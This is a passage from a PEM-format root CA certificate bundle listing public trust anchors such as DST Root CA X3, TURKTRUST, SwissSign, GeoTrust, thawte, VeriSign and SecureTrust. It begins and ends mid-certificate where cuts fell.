P9GIROkkXe/nFL0gt5o8AP5tn9uQ3Nf0YtaLcF3n5QRIqWh8yfFC82x/xXp8HVGIutIKPidd3i1R TtMTZGnkLuPT55sJmabglZvOGtd/vjzOUrMRFcEPF80Du5wlFbqidon8BvEY0JNLDnyCt6X09l/+ 7UCmnYR0ObncHoUW2ikbhiMAybuJfm6AiB4vFLQDJKgybwOaRywwvlbGp0ICcBvqQNi6BQNwB6SW //1IMwrh3KWBkJtN3X3n57LNXMhqlfil9o3EXXgIvnsG1knPGTZQIy4I5p4FTUcY1Rbpsda2ENW7 l7+ijrRU -----END CERTIFICATE----- DST Root CA X3 ============== -----BEGIN CERTIFICATE----- MIIDSjCCAjKgAwIBAgIQRK+wgNajJ7qJMDmGLvhAazANBgkqhkiG9w0BAQUFADA/MSQwIgYDVQQK ExtEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdCBDby4xFzAVBgNVBAMTDkRTVCBSb290IENBIFgzMB4X DTAwMDkzMDIxMTIxOVoXDTIxMDkzMDE0MDExNVowPzEkMCIGA1UEChMbRGlnaXRhbCBTaWduYXR1 cmUgVHJ1c3QgQ28uMRcwFQYDVQQDEw5EU1QgUm9vdCBDQSBYMzCCASIwDQYJKoZIhvcNAQEBBQAD ggEPADCCAQoCggEBAN+v6ZdQCINXtMxiZfaQguzH0yxrMMpb7NnDfcdAwRgUi+DoM3ZJKuM/IUmT rE4Orz5Iy2Xu/NMhD2XSKtkyj4zl93ewEnu1lcCJo6m67XMuegwGMoOifooUMM0RoOEqOLl5CjH9 UL2AZd+3UWODyOKIYepLYYHsUmu5ouJLGiifSKOeDNoJjj4XLh7dIN9bxiqKqy69cK3FCxolkHRy xXtqqzTWMIn/5WgTe1QLyNau7Fqckh49ZLOMxt+/yUFw7BZy1SbsOFU5Q9D8/RhcQPGX69Wam40d utolucbY38EVAjqr2m7xPi71XAicPNaDaeQQmxkqtilX4+U9m5/wAl0CAwEAAaNCMEAwDwYDVR0T AQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYDVR0OBBYEFMSnsaR7LHH62+FLkHX/xBVghYkQ MA0GCSqGSIb3DQEBBQUAA4IBAQCjGiybFwBcqR7uKGY3Or+Dxz9LwwmglSBd49lZRNI+DT69ikug dB/OEIKcdBodfpga3csTS7MgROSR6cz8faXbauX+5v3gTt23ADq1cEmv8uXrAvHRAosZy5Q6XkjE GB5YGV8eAlrwDPGxrancWYaLbumR9YbK+rlmM6pZW87ipxZzR8srzJmwN0jP41ZL9c8PDHIyh8bw RLtTcm1D9SZImlJnt1ir/md2cXjbDaJWFBM5JDGFoqgCWjBH4d1QB7wCCZAA62RjYJsWvIjJEubS fZGL+T0yjWW06XyxV3bqxbYoOb8VZRzI9neWagqNdwvYkQsEjgfbKbYK7p2CNTUQ -----END CERTIFICATE----- DST ACES CA X6 ============== -----BEGIN CERTIFICATE----- MIIECTCCAvGgAwIBAgIQDV6ZCtadt3js2AdWO4YV2TANBgkqhkiG9w0BAQUFADBbMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXRGlnaXRhbCBTaWduYXR1cmUgVHJ1c3QxETAPBgNVBAsTCERTVCBBQ0VT MRcwFQYDVQQDEw5EU1QgQUNFUyBDQSBYNjAeFw0wMzExMjAyMTE5NThaFw0xNzExMjAyMTE5NTha MFsxCzAJBgNVBAYTAlVTMSAwHgYDVQQKExdEaWdpdGFsIFNpZ25hdHVyZSBUcnVzdDERMA8GA1UE CxMIRFNUIEFDRVMxFzAVBgNVBAMTDkRTVCBBQ0VTIENBIFg2MIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEAuT31LMmU3HWKlV1j6IR3dma5WZFcRt2SPp/5DgO0PWGSvSMmtWPuktKe1jzI DZBfZIGxqAgNTNj50wUoUrQBJcWVHAx+PhCEdc/BGZFjz+iokYi5Q1K7gLFViYsx+tC3dr5BPTCa pCIlF3PoHuLTrCq9Wzgh1SpL11V94zpVvddtawJXa+ZHfAjIgrrep4c9oW24MFbCswKBXy314pow GCi4ZtPLAZZv6opFVdbgnf9nKxcCpk4aahELfrd755jWjHZvwTvbUJN+5dCOHze4vbrGn2zpfDPy MjwmR/onJALJfh1biEITajV8fTXpLmaRcpPVMibEdPVTo7NdmvYJywIDAQABo4HIMIHFMA8GA1Ud EwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgHGMB8GA1UdEQQYMBaBFHBraS1vcHNAdHJ1c3Rkc3Qu Y29tMGIGA1UdIARbMFkwVwYKYIZIAWUDAgEBATBJMEcGCCsGAQUFBwIBFjtodHRwOi8vd3d3LnRy dXN0ZHN0LmNvbS9jZXJ0aWZpY2F0ZXMvcG9saWN5L0FDRVMtaW5kZXguaHRtbDAdBgNVHQ4EFgQU CXIGThhDD+XWzMNqizF7eI+og7gwDQYJKoZIhvcNAQEFBQADggEBAKPYjtay284F5zLNAdMEA+V2 5FYrnJmQ6AgwbN99Pe7lv7UkQIRJ4dEorsTCOlMwiPH1d25Ryvr/ma8kXxug/fKshMrfqfBfBC6t Fr8hlxCBPeP/h40y3JTlR4peahPJlJU90u7INJXQgNStMgiAVDzgvVJT11J8smk/f3rPanTK+gQq nExaBqXpIK1FZg9p8d2/6eMyi/rgwYZNcjwu2JN4Cir42NInPRmJX1p7ijvMDNpRrscL9yuwNwXs vFcj4jjSm2jzVhKIT0J8uDHEtdvkyCE06UgRNe76x5JXxZ805Mf29w4LTJxoeHtxMcfrHuBnQfO3 oKfN5XozNmr6mis= -----END CERTIFICATE----- TURKTRUST Certificate Services Provider Root 1 ============================================== -----BEGIN CERTIFICATE----- MIID+zCCAuOgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBtzE/MD0GA1UEAww2VMOcUktUUlVTVCBF bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGDAJUUjEP MA0GA1UEBwwGQU5LQVJBMVYwVAYDVQQKDE0oYykgMjAwNSBUw5xSS1RSVVNUIEJpbGdpIMSwbGV0 acWfaW0gdmUgQmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLjAeFw0wNTA1MTMx MDI3MTdaFw0xNTAzMjIxMDI3MTdaMIG3MT8wPQYDVQQDDDZUw5xSS1RSVVNUIEVsZWt0cm9uaWsg U2VydGlmaWthIEhpem1ldCBTYcSfbGF5xLFjxLFzxLExCzAJBgNVBAYMAlRSMQ8wDQYDVQQHDAZB TktBUkExVjBUBgNVBAoMTShjKSAyMDA1IFTDnFJLVFJVU1QgQmlsZ2kgxLBsZXRpxZ9pbSB2ZSBC aWxpxZ9pbSBHw7x2ZW5sacSfaSBIaXptZXRsZXJpIEEuxZ4uMIIBIjANBgkqhkiG9w0BAQEFAAOC AQ8AMIIBCgKCAQEAylIF1mMD2Bxf3dJ7XfIMYGFbazt0K3gNfUW9InTojAPBxhEqPZW8qZSwu5GX yGl8hMW0kWxsE2qkVa2kheiVfrMArwDCBRj1cJ02i67L5BuBf5OI+2pVu32Fks66WJ/bMsW9Xe8i Si9BB35JYbOG7E6mQW6EvAPs9TscyB/C7qju6hJKjRTP8wrgUDn5CDX4EVmt5yLqS8oUBt5CurKZ 8y1UiBAG6uEaPj1nH/vO+3yC6BFdSsG5FOpU2WabfIl9BJpiyelSPJ6c79L1JuTm5Rh8i27fbMx4 W09ysstcP4wFjdFMjK2Sx+F4f2VsSQZQLJ4ywtdKxnWKWU51b0dewQIDAQABoxAwDjAMBgNVHRME BTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQAV9VX/N5aAWSGk/KEVTCD21F/aAyT8z5Aa9CEKmu46 sWrv7/hg0Uw2ZkUd82YCdAR7kjCo3gp2D++Vbr3JN+YaDayJSFvMgzbC9UZcWYJWtNX+I7TYVBxE q8Sn5RTOPEFhfEPmzcSBCYsk+1Ql1haolgxnB2+zUEfjHCQo3SqYpGH+2+oSN7wBGjSFvW5P55Fy B0SFHljKVETd96y5y4khctuPwGkplyqjrhgjlxxBKot8KsF8kOipKMDTkcatKIdAaLX/7KfS0zgY nNN9aV3wxqUeJBujR/xpB2jn5Jq07Q+hh4cCzofSSE7hvP/L8XKSRGQDJereW26fyfJOrN3H -----END CERTIFICATE----- TURKTRUST Certificate Services Provider Root 2 ============================================== -----BEGIN CERTIFICATE----- MIIEPDCCAySgAwIBAgIBATANBgkqhkiG9w0BAQUFADCBvjE/MD0GA1UEAww2VMOcUktUUlVTVCBF bGVrdHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEP MA0GA1UEBwwGQW5rYXJhMV0wWwYDVQQKDFRUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUg QmlsacWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgS2FzxLFtIDIwMDUwHhcN MDUxMTA3MTAwNzU3WhcNMTUwOTE2MTAwNzU3WjCBvjE/MD0GA1UEAww2VMOcUktUUlVTVCBFbGVr dHJvbmlrIFNlcnRpZmlrYSBIaXptZXQgU2HEn2xhecSxY8Sxc8SxMQswCQYDVQQGEwJUUjEPMA0G A1UEBwwGQW5rYXJhMV0wWwYDVQQKDFRUw5xSS1RSVVNUIEJpbGdpIMSwbGV0acWfaW0gdmUgQmls acWfaW0gR8O8dmVubGnEn2kgSGl6bWV0bGVyaSBBLsWeLiAoYykgS2FzxLFtIDIwMDUwggEiMA0G CSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCpNn7DkUNMwxmYCMjHWHtPFoylzkkBH3MOrHUTpvqe LCDe2JAOCtFp0if7qnefJ1Il4std2NiDUBd9irWCPwSOtNXwSadktx4uXyCcUHVPr+G1QRT0mJKI x+XlZEdhR3n9wFHxwZnn3M5q+6+1ATDcRhzviuyV79z/rxAc653YsKpqhRgNF8k+v/Gb0AmJQv2g QrSdiVFVKc8bcLyEVK3BEx+Y9C52YItdP5qtygy/p1Zbj3e41Z55SZI/4PGXJHpsmxcPbe9TmJEr 5A++WXkHeLuXlfSfadRYhwqp48y2WBmfJiGxxFmNskF1wK1pzpwACPI2/z7woQ8arBT9pmAPAgMB AAGjQzBBMB0GA1UdDgQWBBTZN7NOBf3Zz58SFq62iS/rJTqIHDAPBgNVHQ8BAf8EBQMDBwYAMA8G A1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQEFBQADggEBAHJglrfJ3NgpXiOFX7KzLXb7iNcX/ntt Rbj2hWyfIvwqECLsqrkw9qtY1jkQMZkpAL2JZkH7dN6RwRgLn7Vhy506vvWolKMiVW4XSf/SKfE4 Jl3vpao6+XF75tpYHdN0wgH6PmlYX63LaL4ULptswLbcoCb6dxriJNoaN+BnrdFzgw2lGh1uEpJ+ hGIAF728JRhX8tepb1mIvDS3LoV4nZbcFMMsilKbloxSZj2GFotHuFEJjOp9zYhys2AzsfAKRO8P 9Qk3iCQOLGsgOqL6EfJANZxEaGM7rDNvY7wsu/LSy3Z9fYjYHcgFHW68lKlmjHdxx/qR+i9Rnuk5 UrbnBEI= -----END CERTIFICATE----- SwissSign Gold CA - G2 ====================== -----BEGIN CERTIFICATE----- MIIFujCCA6KgAwIBAgIJALtAHEP1Xk+wMA0GCSqGSIb3DQEBBQUAMEUxCzAJBgNVBAYTAkNIMRUw EwYDVQQKEwxTd2lzc1NpZ24gQUcxHzAdBgNVBAMTFlN3aXNzU2lnbiBHb2xkIENBIC0gRzIwHhcN MDYxMDI1MDgzMDM1WhcNMzYxMDI1MDgzMDM1WjBFMQswCQYDVQQGEwJDSDEVMBMGA1UEChMMU3dp c3NTaWduIEFHMR8wHQYDVQQDExZTd2lzc1NpZ24gR29sZCBDQSAtIEcyMIICIjANBgkqhkiG9w0B AQEFAAOCAg8AMIICCgKCAgEAr+TufoskDhJuqVAtFkQ7kpJcyrhdhJJCEyq8ZVeCQD5XJM1QiyUq t2/876LQwB8CJEoTlo8jE+YoWACjR8cGp4QjK7u9lit/VcyLwVcfDmJlD909Vopz2q5+bbqBHH5C jCA12UNNhPqE21Is8w4ndwtrvxEvcnifLtg+5hg3Wipy+dpikJKVyh+c6bM8K8vzARO/Ws/BtQpg vd21mWRTuKCWs2/iJneRjOBiEAKfNA+k1ZIzUd6+jbqEemA8atufK+ze3gE/bk3lUIbLtK/tREDF ylqM2tIrfKjuvqblCqoOpd8FUrdVxyJdMmqXl2MT28nbeTZ7hTpKxVKJ+STnnXepgv9VHKVxaSvR AiTysybUa9oEVeXBCsdtMDeQKuSeFDNeFhdVxVu1yzSJkvGdJo+hB9TGsnhQ2wwMC3wLjEHXuend jIj3o02yMszYF9rNt85mndT9Xv+9lz4pded+p2JYryU0pUHHPbwNUMoDAw8IWh+Vc3hiv69yFGkO peUDDniOJihC8AcLYiAQZzlG+qkDzAQ4embvIIO1jEpWjpEA/I5cgt6IoMPiaG59je883WX0XaxR 7ySArqpWl2/5rX3aYT+YdzylkbYcjCbaZaIJbcHiVOO5ykxMgI93e2CaHt+28kgeDrpOVG2Y4OGi GqJ3UM/EY5LsRxmd6+ZrzsECAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUw AwEB/zAdBgNVHQ4EFgQUWyV7lqRlUX64OfPAeGZe6Drn8O4wHwYDVR0jBBgwFoAUWyV7lqRlUX64 OfPAeGZe6Drn8O4wRgYDVR0gBD8wPTA7BglghXQBWQECAQEwLjAsBggrBgEFBQcCARYgaHR0cDov L3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBACe645R88a7A3hfm 5djV9VSwg/S7zV4Fe0+fdWavPOhWfvxyeDgD2StiGwC5+OlgzczOUYrHUDFu4Up+GC9pWbY9ZIEr 44OE5iKHjn3g7gKZYbge9LgriBIWhMIxkziWMaa5O1M/wySTVltpkuzFwbs4AOPsF6m43Md8AYOf Mke6UiI0HTJ6CVanfCU2qT1L2sCCbwq7EsiHSycR+R4tx5M/nttfJmtS2S6K8RTGRI0Vqbe/vd6m Gu6uLftIdxf+u+yvGPUqUfA5hJeVbG4bwyvEdGB5JbAKJ9/fXtI5z0V9QkvfsywexcZdylU6oJxp mo/a77KwPJ+HbBIrZXAVUjEaJM9vMSNQH4xPjyPDdEFjHFWoFN0+4FFQz/EbMFYOkrCChdiDyyJk vC24JdVUorgG6q2SpCSgwYa1ShNqR88uC1aVVMvOmttqtKay20EIhid392qgQmwLOM7XdVAyksLf KzAiSNDVQTglXaTpXZ/GlHXQRf0wl0OPkKsKx4ZzYEppLd6leNcG2mqeSz53OiATIgHQv2ieY2Br NU0LbbqhPcCT4H8js1WtciVORvnSFu+wZMEBnunKoGqYDs/YYPIvSbjkQuE4NRb0yG5P94FW6Lqj viOvrv1vA+ACOzB2+httQc8Bsem4yWb02ybzOqR08kkkW8mw0FfB+j564ZfJ -----END CERTIFICATE----- SwissSign Silver CA - G2 ======================== -----BEGIN CERTIFICATE----- MIIFvTCCA6WgAwIBAgIITxvUL1S7L0swDQYJKoZIhvcNAQEFBQAwRzELMAkGA1UEBhMCQ0gxFTAT BgNVBAoTDFN3aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMB4X DTA2MTAyNTA4MzI0NloXDTM2MTAyNTA4MzI0NlowRzELMAkGA1UEBhMCQ0gxFTATBgNVBAoTDFN3 aXNzU2lnbiBBRzEhMB8GA1UEAxMYU3dpc3NTaWduIFNpbHZlciBDQSAtIEcyMIICIjANBgkqhkiG 9w0BAQEFAAOCAg8AMIICCgKCAgEAxPGHf9N4Mfc4yfjDmUO8x/e8N+dOcbpLj6VzHVxumK4DV644 N0MvFz0fyM5oEMF4rhkDKxD6LHmD9ui5aLlV8gREpzn5/ASLHvGiTSf5YXu6t+WiE7brYT7QbNHm +/pe7R20nqA1W6GSy/BJkv6FCgU+5tkL4k+73JU3/JHpMjUi0R86TieFnbAVlDLaYQ1HTWBCrpJH 6INaUFjpiou5XaHc3ZlKHzZnu0jkg7Y360g6rw9njxcH6ATK72oxh9TAtvmUcXtnZLi2kUpCe2Uu MGoM9ZDulebyzYLs2aFK7PayS+VFheZteJMELpyCbTapxDFkH4aDCyr0NQp4yVXPQbBH6TCfmb5h qAaEuSh6XzjZG6k4sIN/c8HDO0gqgg8hm7jMqDXDhBuDsz6+pJVpATqJAHgE2cn0mRmrVn5bi4Y5 FZGkECwJMoBgs5PAKrYYC51+jUnyEEp/+dVGLxmSo5mnJqy7jDzmDrxHB9xzUfFwZC8I+bRHHTBs ROopN4WSaGa8gzj+ezku01DwH/teYLappvonQfGbGHLy9YR0SslnxFSuSGTfjNFusB3hB48IHpmc celM2KX3RxIfdNFRnobzwqIjQAtz20um53MGjMGg6cFZrEb65i/4z3GcRm25xBWNOHkDRUjvxF3X CO6HOSKGsg0PWEP3calILv3q1h8CAwEAAaOBrDCBqTAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUF6DNweRBtjpbO8tFnb0cwpj6hlgwHwYDVR0jBBgwFoAUF6DNweRB tjpbO8tFnb0cwpj6hlgwRgYDVR0gBD8wPTA7BglghXQBWQEDAQEwLjAsBggrBgEFBQcCARYgaHR0 cDovL3JlcG9zaXRvcnkuc3dpc3NzaWduLmNvbS8wDQYJKoZIhvcNAQEFBQADggIBAHPGgeAn0i0P 4JUw4ppBf1AsX19iYamGamkYDHRJ1l2E6kFSGG9YrVBWIGrGvShpWJHckRE1qTodvBqlYJ7YH39F kWnZfrt4csEGDyrOj4VwYaygzQu4OSlWhDJOhrs9xCrZ1x9y7v5RoSJBsXECYxqCsGKrXlcSH9/L 3XWgwF15kIwb4FDm3jH+mHtwX6WQ2K34ArZv02DdQEsixT2tOnqfGhpHkXkzuoLcMmkDlm4fS/Bx /uNncqCxv1yL5PqZIseEuRuNI5c/7SXgz2W79WEE790eslpBIlqhn10s6FvJbakMDHiqYMZWjwFa DGi8aRl5xB9+lwW/xekkUV7U1UtT7dkjWjYDZaPBA61BMPNGG4WQr2W11bHkFlt4dR2Xem1ZqSqP e97Dh4kQmUlzeMg9vVE1dCrV8X5pGyq7O70luJpaPXJhkGaH7gzWTdQRdAtq/gsD/KNVV4n+Ssuu WxcFyPKNIzFTONItaj+CuY0IavdeQXRuwxF+B6wpYJE/OMpXEA29MC/HpeZBoNquBYeaoKRlbEwJ DIm6uNO5wJOKMPqN5ZprFQFOZ6raYlY+hAhm0sQ2fac+EPyI4NSA5QC9qvNOBqN6avlicuMJT+ub DgEj8Z+7fNzcbBGXJbLytGMU0gYqZ4yD9c7qB9iaah7s5Aq7KkzrCWA5zspi2C5u -----END CERTIFICATE----- GeoTrust Primary Certification Authority ======================================== -----BEGIN CERTIFICATE----- MIIDfDCCAmSgAwIBAgIQGKy1av1pthU6Y2yv2vrEoTANBgkqhkiG9w0BAQUFADBYMQswCQYDVQQG EwJVUzEWMBQGA1UEChMNR2VvVHJ1c3QgSW5jLjExMC8GA1UEAxMoR2VvVHJ1c3QgUHJpbWFyeSBD ZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTAeFw0wNjExMjcwMDAwMDBaFw0zNjA3MTYyMzU5NTlaMFgx CzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMTEwLwYDVQQDEyhHZW9UcnVzdCBQ cmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAvrgVe//UfH1nrYNke8hCUy3f9oQIIGHWAVlqnEQRr+92/ZV+zmEwu3qDXwK9AWbK7hWN b6EwnL2hhZ6UOvNWiAAxz9juapYC2e0DjPt1befquFUWBRaa9OBesYjAZIVcFU2Ix7e64HXprQU9 nceJSOC7KMgD4TCTZF5SwFlwIjVXiIrxlQqD17wxcwE07e9GceBrAqg1cmuXm2bgyxx5X9gaBGge RwLmnWDiNpcB3841kt++Z8dtd1k7j53WkBWUvEI0EME5+bEnPn7WinXFsq+W06Lem+SYvn3h6YGt tm/81w7a4DSwDRp35+MImO9Y+pyEtzavwt+s0vQQBnBxNQIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQULNVQQZcVi/CPNmFbSvtr2ZnJM5IwDQYJKoZI hvcNAQEFBQADggEBAFpwfyzdtzRP9YZRqSa+S7iq8XEN3GHHoOo0Hnp3DwQ16CePbJC/kRYkRj5K Ts4rFtULUh38H2eiAkUxT87z+gOneZ1TatnaYzr4gNfTmeGl4b7UVXGYNTq+k+qurUKykG/g/CFN NWMziUnWm07Kx+dOCQD32sfvmWKZd7aVIl6KoKv0uHiYyjgZmclynnjNS6yvGaBzEi38wkG6gZHa Floxt/m0cYASSJlyc1pZU8FjUjPtp8nSOQJw+uCxQmYpqptR7TBUIhRf2asdweSU8Pj1K/fqynhG 1riR/aYNKxoUAT6A8EKglQdebc3MS6RFjasS6LPeWuWgfOgPIh1a6Vk= -----END CERTIFICATE----- thawte Primary Root CA ====================== -----BEGIN CERTIFICATE----- MIIEIDCCAwigAwIBAgIQNE7VVyDV7exJ9C/ON9srbTANBgkqhkiG9w0BAQUFADCBqTELMAkGA1UE BhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwgSW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2 aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMvKGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhv cml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMTFnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwHhcNMDYxMTE3 MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCBqTELMAkGA1UEBhMCVVMxFTATBgNVBAoTDHRoYXd0ZSwg SW5jLjEoMCYGA1UECxMfQ2VydGlmaWNhdGlvbiBTZXJ2aWNlcyBEaXZpc2lvbjE4MDYGA1UECxMv KGMpIDIwMDYgdGhhd3RlLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxHzAdBgNVBAMT FnRoYXd0ZSBQcmltYXJ5IFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCs oPD7gFnUnMekz52hWXMJEEUMDSxuaPFsW0hoSVk3/AszGcJ3f8wQLZU0HObrTQmnHNK4yZc2AreJ 1CRfBsDMRJSUjQJib+ta3RGNKJpchJAQeg29dGYvajig4tVUROsdB58Hum/u6f1OCyn1PoSgAfGc q/gcfomk6KHYcWUNo1F77rzSImANuVud37r8UVsLr5iy6S7pBOhih94ryNdOwUxkHt3Ph1i6Sk/K aAcdHJ1KxtUvkcx8cXIcxcBn6zL9yZJclNqFwJu/U30rCfSMnZEfl2pSy94JNqR32HuHUETVPm4p afs5SSYeCaWAe0At6+gnhcn+Yf1+5nyXHdWdAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYD VR0PAQH/BAQDAgEGMB0GA1UdDgQWBBR7W0XPr87Lev0xkhpqtvNG61dIUDANBgkqhkiG9w0BAQUF AAOCAQEAeRHAS7ORtvzw6WfUDW5FvlXok9LOAz/t2iWwHVfLHjp2oEzsUHboZHIMpKnxuIvW1oeE uzLlQRHAd9mzYJ3rG9XRbkREqaYB7FViHXe4XI5ISXycO1cRrK1zN44veFyQaEfZYGDm/Ac9IiAX xPcW6cTYcvnIc3zfFi8VqT79aie2oetaupgf1eNNZAqdE8hhuvU5HIe6uL17In/2/qxAeeWsEG89 jxt5dovEN7MhGITlNgDrYyCZuen+MwS7QcjBAvlEYyCegc5C09Y/LHbTY5xZ3Y+m4Q6gLkH3LpVH z7z9M/P2C2F+fpErgUfCJzDupxBdN49cOSvkBPB7jVaMaA== -----END CERTIFICATE----- VeriSign Class 3 Public Primary Certification Authority - G5 ============================================================ -----BEGIN CERTIFICATE----- MIIE0zCCA7ugAwIBAgIQGNrRniZ96LtKIVjNzGs7SjANBgkqhkiG9w0BAQUFADCByjELMAkGA1UE BhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2lnbiBUcnVzdCBO ZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBhdXRob3JpemVk IHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRp ZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwHhcNMDYxMTA4MDAwMDAwWhcNMzYwNzE2MjM1OTU5WjCB yjELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMR8wHQYDVQQLExZWZXJpU2ln biBUcnVzdCBOZXR3b3JrMTowOAYDVQQLEzEoYykgMjAwNiBWZXJpU2lnbiwgSW5jLiAtIEZvciBh dXRob3JpemVkIHVzZSBvbmx5MUUwQwYDVQQDEzxWZXJpU2lnbiBDbGFzcyAzIFB1YmxpYyBQcmlt YXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw ggEKAoIBAQCvJAgIKXo1nmAMqudLO07cfLw8RRy7K+D+KQL5VwijZIUVJ/XxrcgxiV0i6CqqpkKz j/i5Vbext0uz/o9+B1fs70PbZmIVYc9gDaTY3vjgw2IIPVQT60nKWVSFJuUrjxuf6/WhkcIzSdhD Y2pSS9KP6HBRTdGJaXvHcPaz3BJ023tdS1bTlr8Vd6Gw9KIl8q8ckmcY5fQGBO+QueQA5N06tRn/ Arr0PO7gi+s3i+z016zy9vA9r911kTMZHRxAy3QkGSGT2RT+rCpSx4/VBEnkjWNHiDxpg8v+R70r fk/Fla4OndTRQ8Bnc+MUCH7lP59zuDMKz10/NIeWiu5T6CUVAgMBAAGjgbIwga8wDwYDVR0TAQH/ BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwbQYIKwYBBQUHAQwEYTBfoV2gWzBZMFcwVRYJaW1hZ2Uv Z2lmMCEwHzAHBgUrDgMCGgQUj+XTGoasjY5rw8+AatRIGCx7GS4wJRYjaHR0cDovL2xvZ28udmVy aXNpZ24uY29tL3ZzbG9nby5naWYwHQYDVR0OBBYEFH/TZafC3ey78DAJ80M5+gKvMzEzMA0GCSqG SIb3DQEBBQUAA4IBAQCTJEowX2LP2BqYLz3q3JktvXf2pXkiOOzEp6B4Eq1iDkVwZMXnl2YtmAl+ X6/WzChl8gGqCBpH3vn5fJJaCGkgDdk+bW48DW7Y5gaRQBi5+MHt39tBquCWIMnNZBU4gcmU7qKE KQsTb47bDN0lAtukixlE0kF6BWlKWE9gyn6CagsCqiUXObXbf+eEZSqVir2G3l6BFoMtEMze/aiC Km0oHw0LxOXnGiYZ4fQRbxC1lfznQgUy286dUV4otp6F01vvpX1FQHKOtw5rDgb7MzVIcbidJ4vE ZV8NhnacRHr2lVz2XTIIM6RUthg/aFzyQkqFOFSDX9HoLPKsEdao7WNq -----END CERTIFICATE----- SecureTrust CA ============== -----BEGIN CERTIFICATE----- MIIDuDCCAqCgAwIBAgIQDPCOXAgWpa1Cf/DrJxhZ0DANBgkqhkiG9w0BAQUFADBIMQswCQYDVQQG EwJVUzEgMB4GA1UEChMXU2VjdXJlVHJ1c3QgQ29ycG9yYXRpb24xFzAVBgNVBAMTDlNlY3VyZVRy dXN0IENBMB4XDTA2MTEwNzE5MzExOFoXDTI5MTIzMTE5NDA1NVowSDELMAkGA1UEBhMCVVMxIDAe BgNVBAoTF1NlY3VyZVRydXN0IENvcnBvcmF0aW9uMRcwFQYDVQQDEw5TZWN1cmVUcnVzdCBDQTCC ASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKukgeWVzfX2FI7CT8rU4niVWJxB4Q2ZQCQX OZEzZum+4YOvYlyJ0fwkW2Gz4BERQRwdbvC4u/jep4G6pkjGnx29vo6pQT64lO0pGtSO0gMdA+9t DWccV9cGrcrI9f4Or2YlSASWC12juhbDCE/RRvgUXPLIXgGZbf2IzIaowW8xQmxSPmjL8xk037uH GFaAJsTQ3MBv396gwpEWoGQRS0S8Hvbn+mPeZqx2pHGj7DaUaHp3pLHnDi+BeuK1cobvomuL8A/b 01k/unK8RCSc43Oz969XL0Imnal0ugBS8kvNU3xHCzaFDmapCJcWNFfBZveA4+1wVMeT4C4oFVmH ursCAwEAAaOBnTCBmjATBgkrBgEEAYI3FAIEBh4EAEMAQTALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/ BAUwAwEB/zAdBgNVHQ4EFgQUQjK2FvoE/f5dS3rD/fdMQB1aQ68wNAYDVR0fBC0wKzApoCegJYYj aHR0cDovL2NybC5zZWN1cmV0cnVzdC5jb20vU1RDQS5jcmwwEAYJKwYBBAGCNxUBBAMCAQAwDQYJ KoZIhvcNAQEFBQADggEBADDtT0rhWDpSclu1pqNlGKa7UTt36Z3q059c4EVlew3KW+JwULKUBRSu SceNQQcSc5R+DCMh/bwQf2AQWnL1mA6s7Ll/3XpvXdMc9P+IBWlCqQVxyLesJugutIxq/3HcuLHf mbx8IVQr5Fiiu1cprp6poxkmD5kuCLDv/WnPmRoJjeOnnyvJNjR7JLN4TJUXpAYmHrZkUjZfYGfZ nMUFdAvnZyPSCPyI6a6Lf+Ew9Dd+/cYy2i2eRDAwbO4H3tI0/NL/QPZL9GZGBlSm8jIKYyYwa5vR 